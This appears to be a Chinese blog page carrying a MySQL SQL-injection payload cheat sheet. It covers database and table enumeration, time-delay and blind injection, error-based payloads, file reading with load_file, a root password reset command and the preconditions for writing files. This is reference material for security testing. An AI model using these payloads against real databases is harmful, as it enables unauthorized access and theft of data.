MySQL Payload

常见Payload

  • Version

    • SELECT @@version
  • Comment

    • SELECT 1 -- comment
    • SELECT 1 # comment
    • SELECT /*comment*/1
  • Space

    • 0x9 0xa-0xd 0x20 0xa0
  • Current User

    • SELECT user()
    • SELECT system_user()
    • SELECT current_role()
  • List User

    • SELECT user FROM mysql.user
  • Current Database

    • SELECT database()
  • List Database

    • SELECT schema_name FROM information_schema.schemata
  • List Tables

    • SELECT table_schema,table_name FROM information_schema.tables WHERE table_schema != 'mysql' AND table_schema != 'information_schema'
  • List Columns

    • SELECT table_schema, table_name, column_name FROM information_schema.columns WHERE table_schema != 'mysql' AND table_schema != 'information_schema'
  • If

    • SELECT if(1=1,'foo','bar'); return 'foo'
  • Ascii

    • SELECT char(0x41)
    • SELECT ascii('A')
    • SELECT 0x414243 => return ABC
  • Delay

    • sleep(1)
    • SELECT BENCHMARK(1000000,MD5('A'))
  • Read File

    • select @@datadir
    • select load_file('databasename/tablename.MYD')
  • Blind

    • ascii(substring(str,pos,length)) & 32 = 1
  • Error Based

    • select count(*),(floor(rand(0)*2))x from information_schema.tables group by x;
    • select count(*) from (select 1 union select null union select !1)x group by concat((select table_name from information_schema.tables limit 1),floor(rand(0)*2))
  • Change Password

    • mysql -uroot -e "use mysql;UPDATE user SET password=PASSWORD('newpassword') WHERE user='root';FLUSH PRIVILEGES;"

报错注入常见函数

  • extractvalue
  • updatexml
  • GeometryCollection
  • linestring
  • multilinestring
  • multipoint
  • multipolygon
  • polygon
  • exp

写文件

写文件前提

  • root 权限
  • 知晓文件绝对路径
  • 写入的路径存在写入权限
  • secure_file_priv 允许向对应位置写入
  • select count(file_priv) from mysql.user

相关推荐

最近更新

  1. TCP协议是安全的吗?

    2024-04-06 11:22:03       16 阅读
  2. 阿里云服务器执行yum,一直下载docker-ce-stable失败

    2024-04-06 11:22:03       16 阅读
  3. 【Python教程】压缩PDF文件大小

    2024-04-06 11:22:03       15 阅读
  4. 通过文章id递归查询所有评论(xml)

    2024-04-06 11:22:03       18 阅读

热门阅读

  1. 金蝶Apusic应用服务器 未授权目录遍历漏洞复现

    2024-04-06 11:22:03       13 阅读
  2. 在Ubuntu 14.04上如何备份和恢复Redis数据

    2024-04-06 11:22:03       17 阅读
  3. Flink集群从节点TaskManager启动分析

    2024-04-06 11:22:03       12 阅读
  4. 大语言模型LLM《提示词工程指南》学习笔记01

    2024-04-06 11:22:03       14 阅读
  5. 如何更改WordPress站点的域名:完全指南

    2024-04-06 11:22:03       15 阅读
  6. Day3-struct类型、列转行、行转列、函数

    2024-04-06 11:22:03       15 阅读
  7. MySQL 里记录货币用什么字段

    2024-04-06 11:22:03       13 阅读
  8. C# Socket发送、接收结构体

    2024-04-06 11:22:03       18 阅读
  9. 【ubuntu】Vim配置记录

    2024-04-06 11:22:03       14 阅读
  10. ubuntu20.04 安裝PX4 1.13

    2024-04-06 11:22:03       16 阅读
  11. 习题3-2 高速公路超速处罚

    2024-04-06 11:22:03       13 阅读